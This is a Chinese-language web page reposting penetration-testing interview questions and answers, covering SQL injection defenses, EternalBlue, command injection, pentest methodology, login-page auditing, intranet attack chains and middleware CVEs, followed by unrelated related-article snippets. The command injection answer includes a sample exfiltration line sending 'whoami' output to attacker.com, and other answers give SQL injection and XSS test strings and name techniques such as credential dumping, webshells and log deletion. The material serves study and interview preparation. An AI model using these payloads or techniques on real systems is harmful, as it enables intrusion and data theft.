2025年滲透測試面試題總結-54(題目+回答)

安全領域各種資源,學習文檔,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各種好玩的項目及好用的工具,歡迎關注。

1、SQL注入的防護方法有哪些?
2、永恒之藍的漏洞原理是什么?怎么做到的?
3、命令注入有哪些?
4、給你一個目標網站,你該如何進行測試?
5、給你一個后臺登陸地點的網站,你能從中發現那些問題?
6、給你一千臺服務器和交換機,你會如何進行掃描?
7、內網滲透了解多少?
8、中間件有哪些?
9、中間件有哪些已知的漏洞?

1. SQL注入防護方法

核心原則:數據與代碼分離

  • 參數化查詢(Prepared Statements)
    使用占位符(如?@param)替代拼接SQL,數據庫區分指令與數據(如Java的PreparedStatement、Python的cursor.execute() )。
  • 輸入過濾與白名單校驗
    對用戶輸入進行類型/長度約束(如僅允許郵箱格式),禁用高危字符(';--)。
  • 最小權限原則
    數據庫賬戶僅賦予必要權限(禁用DROPFILE等)。
  • ORM框架使用
    Hibernate、Entity Framework等自動轉義輸入。
  • Web應用防火墻(WAF)
    部署ModSecurity等規則引擎攔截注入特征(如UNION SELECT)。
  • 錯誤信息屏蔽
    避免數據庫報錯信息直接返回前端。

2. 永恒之藍(EternalBlue)漏洞原理

CVE編號:CVE-2017-0144
漏洞根源:SMBv1協議處理SMBv1 Trans2請求的緩沖區溢出漏洞。
攻擊流程

  1. 畸形數據包觸發溢出
    攻擊者發送特制的SMB_COM_TRANSACTION2請求,覆蓋內核內存。
  2. 內核權限執行Shellcode
    利用溢出覆蓋函數指針,執行攻擊者代碼(如NSA開發的DoublePulsar后門)。
  3. 橫向傳播
    通過SMB協議在內網自動擴散(如WannaCry勒索病毒)。
    修復方案
    禁用SMBv1,安裝MS17-010補丁,關閉445端口。

3. 命令注入類型與案例

分類方式

  • 直接命令注入
    用戶輸入直接拼接至系統命令(如os.system("ping " + user_input)),可通過;&|執行多條命令。
  • 間接注入(如環境變量污染)
    篡改PATHLD_PRELOAD劫持動態鏈接庫。
  • 盲注(無回顯)
    通過時間延遲(sleep 5)或DNS外帶數據(curl attacker.com?data=$(whoami) )判斷結果。
    高危函數
    PHP的system()/exec()、Python的os.popen() 、Node.js 的child_process.exec()

4. 目標網站滲透測試流程

分階段方法論

階段關鍵操作
信息收集WHOIS查詢、子域名爆破(Amass)、端口掃描(Nmap)、框架指紋識別(Wappalyzer)
漏洞掃描自動化工具(Burp Suite、Nessus) + 手動驗證(如修改參數、邊界值測試)
漏洞利用SQL注入工具(sqlmap)、XSS載荷測試、文件上傳繞過(Content-Type欺騙)
權限提升利用系統/服務漏洞提權(如Dirty Pipe)、數據庫弱口令爆破
權限維持植入Webshell(蟻劍/冰蝎)、創建隱藏賬戶、SSH密鑰后門
內網橫向移動ARP欺騙、Pass-the-Hash攻擊、域滲透(BloodHound分析)
痕跡清理刪除日志(/var/log/)、隱藏進程(rootkit)

5. 后臺登錄點安全審計要點

  • 認證機制缺陷
    • 弱口令(admin/admin123)
    • 無驗證碼或驗證碼可繞過(OCR識別、重復使用)
    • 未限制登錄嘗試頻率(爆破漏洞)
  • 傳輸與存儲風險
    • HTTP明文傳輸密碼(應強制HTTPS)
    • Cookie未設置HttpOnly(XSS竊取會話)
  • 邏輯漏洞
    • 響應差異暴露用戶存在性(枚舉用戶名)
    • 密碼重置功能缺陷(Token未綁定用戶、可預測Token)
  • 注入漏洞
    • SQL注入(' OR 1=1 --
    • XSS注入(登錄表單插入<script>alert(1)</script>

6. 千臺服務器/交換機掃描策略

分布式架構設計

mermaigraph LR A[控制節點] --> B[任務隊列 Kafka/RabbitMQ] B --> C[掃描節點1-N] C --> D[結果存儲 ES]

關鍵技術點

  • IP分段與負載均衡
    使用nmap -sS -iL targets.txt -oA scan --max-rate 1000分批次掃描,避免流量洪峰。
  • 指紋識別優化
    并行化服務識別(-sV)與OS探測(-O)。
  • 交換機特殊處理
    SNMP掃描(snmpwalk)、ARP掃描(netdiscover),避開ICMP限制。
  • 結果聚合
    通過Elasticsearch + Kibana可視化漏洞分布。

7. 內網滲透核心技術

攻擊鏈關鍵步驟

  1. 信息收集
    ARP掃描、NetBIOS枚舉、域控制器定位(nltest /dclist)。
  2. 權限提升
    本地提權(CVE-2021-4034)、憑證竊取(Mimikatz抓取LSASS內存)。
  3. 橫向移動
    • 協議利用:SMB爆破(CrackMapExec)、WinRM遠程執行
    • 中間人攻擊:LLMNR/NBT-NS投毒(Responder)
    • 域滲透:黃金票據偽造、DCSync攻擊獲取域控權限
  4. 數據竊取與持久化
    隱蔽隧道(DNS/ICMP)、GPO組策略后門。

8. 常見中間件列表

類型代表產品
Web服務器Apache、Nginx、IIS
應用服務器Tomcat、WebLogic、JBoss/WildFly
反向代理Traefik、HAProxy
消息隊列RabbitMQ、Kafka、ActiveMQ
API網關Kong、Tyk

9. 中間件經典漏洞案例

中間件漏洞影響
ApacheCVE-2021-41773(路徑遍歷)讀取服務器敏感文件
NginxCVE-2013-2028(棧溢出)遠程代碼執行(RCE)
TomcatCVE-2020-1938(Ghostcat)AJP協議文件讀取/RCE
WebLogicCVE-2020-14882(未授權命令執行)控制服務器
JBossJMXInvokerServlet 反序列化遠程代碼執行

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95639.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95639.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95639.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

安卓學習 之 按鈕點擊事件

今天學習安卓應用中的按鈕點擊事件&#xff1a;總結下來在安卓應用中的Button注冊點擊事件的方法主要是以下4種方法&#xff0c;稍后會逐個介紹&#xff1a; 第一種方法&#xff1a;自定義內部類的方法 第二種方法&#xff1a;匿名內部類的方法 第三種方法&#xff1a;當前Acti…

鴻蒙NEXT主題設置指南:應用級與頁面級主題定制詳解

在鴻蒙應用開發中&#xff0c;靈活的主題設置能力是實現個性化用戶體驗的關鍵技術&#xff0c;HarmonyOS NEXT提供了強大而靈活的主題設置功能&#xff0c;讓開發者能夠輕松實現應用級和頁面級的主題定制。在當今追求個性化的時代&#xff0c;用戶希望應用能夠根據自己的喜好呈…

全球汽車氮化鎵技術市場規模將于2031年增長至180.5億美元,2025-2031年復合增長率達94.3%,由Infineon和Navitas驅動

全球汽車氮化鎵技術市場規模將于2031年增長至180.5億美元&#xff0c;2025-2031年復合增長率達94.3%&#xff0c;由Infineon和Navitas驅動汽車氮化鎵技術正從一個有前景的細分市場加速進入主流電力電子領域。根據QYResearch&#xff08;恒州博智&#xff09;的《全球汽車GaN技術…

xftp斷網后提示錯誤如何繼續下載?

問題&#xff1a;xftp斷網后提示錯誤如何繼續下載&#xff1f;解決方法&#xff1a;斷網后&#xff0c;先連接上網&#xff0c;然后繼續雙擊右側的那兩個要傳輸的文件&#xff0c;然后會彈出一個覆蓋還是繼續下載&#xff08;如下圖&#xff09;的選擇框&#xff0c;選擇繼續下…

Day22_【機器學習—集成學習(4)—Boosting—GBDT算法】

提升樹 &#xff08;Boosting Decision Tree &#xff09;每一個弱學習器通過擬合殘差來構建強學習器梯度提升樹 &#xff08;Gradient Boosting Decision Tree&#xff09;每一個弱學習器通過擬合負梯度來構建強學習器一、提升樹殘差數學公式為&#xff1a;殘差真實值?預測值…

前綴和、子矩陣的和;差分、差分矩陣

一、前綴和數組要稍微注意前綴和數組從1開始#include <iostream>using namespace std;const int N 100010;int n, m; int a[N], s[N];int main() {scanf("%d%d", &n, &m);for (int i 1; i < n; i ) scanf("%d", &a[i]);for (int i…

啟用BBR擁塞控制算法

目錄 &#x1f4cb; 先決條件 &#x1f527; 啟用步驟 &#x1f4dd; 額外檢查與說明 ?? 注意事項 BBR&#xff08;Bottleneck Bandwidth and Round-trip time&#xff09;是谷歌開發的一種TCP擁塞控制算法&#xff0c;它能有效提升網絡傳輸速度和性能&#xff0c;尤其在…

Python:AI開發第一語言的全面剖析

文章目錄引言1. Python的歷史與AI開發的契合1.1 Python的誕生與設計哲學1.2 Python與AI發展的歷史交匯2. 語言特性如何支持AI開發2.1 動態類型與交互式編程2.2 簡潔優雅的語法2.3 高級數據結構的原生支持2.4 函數式編程特性2.5 強大的元編程能力3. 豐富的AI生態系統和庫支持3.1…

Nikto 漏洞掃描工具使用指南

目錄 ? 核心功能一覽 &#x1f680; 基本使用方法 1. 掃描單個目標 2. 指定端口掃描 3. 掃描 HTTPS 目標 使用 -ssl 參數主要有兩個核心原因 ?? 高級使用技巧 1. 使用代理掃描 2. 保存掃描結果 3. 使用特定插件 4.交互命令 ? 核心功能一覽 Nikto 是一款開源的 W…

FunASR的Java實現Paraformer實時語音識別 | 一款無需聯網的本地實時字幕軟件

0. 開發背景 我們在看直播時&#xff0c;沒有視頻字幕&#xff0c;可能看慣了視頻字幕&#xff0c;來到直播中缺少字幕會感覺不習慣&#xff0c;特別是對于聽力障礙的人群&#xff0c;只能依賴于字幕&#xff0c;那么這個軟件可以解決直播&#xff0c;在線會議等場景中無字幕的…

從機器學習的角度實現 excel 中趨勢線:揭秘梯度下降過程

1. 引言&#xff1a;Excel 的“一鍵魔法”背后藏著什么智慧&#xff1f;在 Excel 中&#xff0c;我們只需右鍵 → 添加趨勢線&#xff0c;一條完美的直線就出現了。它快得像魔法&#xff0c;但魔法背后&#xff0c;是數學的嚴謹。今天&#xff0c;我們不關心 Excel 內部用了什么…

關于上拉電阻

上拉電阻的作用&#xff1a;輔助浮空狀態輸出高電平 其實就是確定這根線的電平&#xff0c;不能讓他處于一種未知的狀態。 其次也可以起到限制電流的作用&#xff0c;防止損壞原件 那么上拉電阻如何取值&#xff1f; 首先來看一下驅動能力。 因為線上是一定有寄生電容的&am…

PiscCode構建Mediapipe 手勢識別“剪刀石頭布”小游戲

在計算機視覺與人機交互領域&#xff0c;手勢識別是一個非常有趣的應用場景。本文將帶你用 Mediapipe 和 Python 實現一個基于攝像頭的手勢識別“剪刀石頭布”小游戲&#xff0c;并展示實時手勢與游戲結果。 1. 項目概述 該小游戲能夠實現&#xff1a; 實時檢測手勢&#xff0…

【VoNR】VoNR 不等于 VoLTE on 5G

博主未授權任何人或組織機構轉載博主任何原創文章&#xff0c;感謝各位對原創的支持&#xff01; 博主鏈接 本人就職于國際知名終端廠商&#xff0c;負責modem芯片研發。 在5G早期負責終端數據業務層、核心網相關的開發工作&#xff0c;目前牽頭6G技術研究。 博客內容主要圍繞…

計算機網絡:網絡設備在OSI七層模型中的工作層次和傳輸協議

OSI七層模型&#xff08;物理層、數據鏈路層、網絡層、傳輸層、會話層、表示層、應用層&#xff09;中&#xff0c;不同網絡設備因功能不同&#xff0c;工作在不同層次。以下是典型網絡設備的工作層次及核心功能&#xff1a;1. 物理層&#xff08;第1層&#xff09; 核心功能&a…

RSA-e和phi不互素

1.題目import gmpy2 import libnum p 1656713884642828937525841253265560295123546793973683682208576533764344166170780019002774068042673556637515136828403375582169041170690082676778939857272304925933251736030429644277439899845034340194709105071151095131704526…

基于單片機蒸汽壓力檢測/蒸汽余熱回收

傳送門 &#x1f449;&#x1f449;&#x1f449;&#x1f449;單片機作品題目速選一覽表&#x1f680; &#x1f449;&#x1f449;&#x1f449;&#x1f449;單片機作品題目功能速覽&#x1f680; &#x1f525;更多文章戳&#x1f449;小新單片機-CSDN博客&#x1f68…

https 協議與 wss 協議有什么不同

HTTPS 是用于網頁數據傳輸的安全協議&#xff0c;而 WSS 是用于實時雙向通信&#xff08;如聊天、直播&#xff09;的安全協議&#xff0c;二者的設計目標、應用場景、底層邏輯均存在本質區別。以下從 7 個核心維度展開對比&#xff0c;并補充關鍵關聯知識&#xff0c;幫助徹底…

主流分布式數據庫集群選型指南

以下是關于主流分布式可擴展數據庫集群的詳細解析&#xff0c;涵蓋技術分類、代表產品及適用場景&#xff0c;幫助您高效選型&#xff1a;一、分布式數據庫核心分類 1. NewSQL 數據庫&#xff08;強一致性 分布式事務&#xff09;產品開發方核心特性適用場景TiDBPingCAPHTAP架…

#T1359. 圍成面積

題目描述編程計算由“*”號圍成的下列圖形的面積。面積計算方法是統計*號所圍成的閉合曲線中水平線和垂直線交點的數目。如下圖所示&#xff0c;在1010的二維數組中&#xff0c;有“*”圍住了15個點&#xff0c;因此面積為15。輸入1010的圖形。輸出輸出面積。樣例輸入數據 10 0…